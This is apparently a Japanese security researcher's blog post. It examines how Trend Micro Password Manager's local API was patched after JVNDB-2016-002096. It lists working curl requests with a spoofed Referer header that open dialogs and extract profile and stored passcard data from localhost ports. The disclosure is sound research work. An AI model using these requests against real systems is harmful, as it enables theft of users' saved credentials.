トレンドマイクロ パスワードマネージャーのAPIで、任意のプログラムを実行できた脆弱性の改善の考察
JVNDB-2016-002096 - JVN iPedia - 脆弱性対策情報データベース
トレンドマイクロさんの パスワードマネージャーで任意の実行ファイルを起動できた脆弱性について、どういう改善がされたか考察してみました
1. openUrlInDefaultBrowser
これは既定のブラウザで指定したURLを開く関数です。
まず、Referer でAPIの利用のチェックをするようになったのは、一つ前の記事で確認した通り。
次に、"javascript:" が含まれていないこと URL文字列に http:// または https://が含まれていない場合は強制的に "https://"を追加する処理 があること。
最後に IsWhiteURL という関数で
"pwm.trendmicro.jp/"
"esupport.trendmicro.com/"
"gr.trendmicro.com/"
"reg.trendmicro.com/"
"akagrbeta.trendmicro.com/"
がURLの先頭に含まれているかをチェックしています
これ以外のURLは完全にはじかれます
2. showSB
こちらは、トレンドマイクロ製のChrome 互換セキュリティブラウザで指定したURLを開く関数です。
Security Browser だから SBらしいです。(起動されるのは "%ProgramFiles%\Trend Micro\PasswordManager\SecureBrowser.exe" )
verifyUrlForSB で URLにホスト名が含まれていることを確認
passcard Domain の一覧にあるドメインが含まれているか tiMap のリストにあるドメインが含まれてるかを確認します。
最後に、トレンドマイクロの署名がされたプロセスからの起動かを確認しています。
2点の脆弱性については完全に解決しているようです( ˘ω˘)
パスワードマネージャーは DOCKER を使っているようなので 49153 以降のランダムなポートを利用します。
例えば、
curl -k
https://localhost:49153/api/importBrowserPassword?browser=firefox -H "Referer: https://pwm-image.trendmicro.jp/5.0/extensionPopOver/bho_index.html" |
こんなことを実行してみると…。
エクスポートのウインドウを強制的に開くことができました ・ω・ (Firefox のパスワードを使っているユーザーのみ有効)
curl -k https://localhost:49155/api/showSignIn -H "Referer: https://pwm-image.trendmicro.jp/5.0/extensionPopOver/bho_index.html" |
こうすれば、サインインのダイアログを開くことができます
パスワードマネージャーにログイン中のユーザーであれば裏で
curl -k https://localhost:49155/api/extension_profile -H "Referer: https://pwm-image.trendmicro.jp/5.0/extensionPopOver/bho_index.html" |
curl -k https://localhost:49155/api/auth/info/portal -H "Referer: https://pwm-image.trendmicro.jp/5.0/extensionPopOver/bho_index.html" |
curl -k https://localhost:49155/api/extension_passcard/?allowEmpty=1 -H "Referer: https://pwm-image.trendmicro.jp/5.0/extensionPopOver/bho_index.html" |
を実行することによって情報を引っこ抜くことも可能でした
(ただし一部の情報はbase64+暗号化されています)
要するに、任意のAPIを実行されないように、 Referer ヘッダ のチェック機能をつけるという対策をやっただけということが分かりました(˘ω˘) 流石トレンドマイクロさんですね
(ただし、openUrlInDefaultBrowser や openSB などは細かい対策をされてるので簡単に実行できなくなっています)
ちなみに、この機能を応用すると‥‥なのですが、この話はJVNDBにのると思うのでいずれまた。
つづく
Comments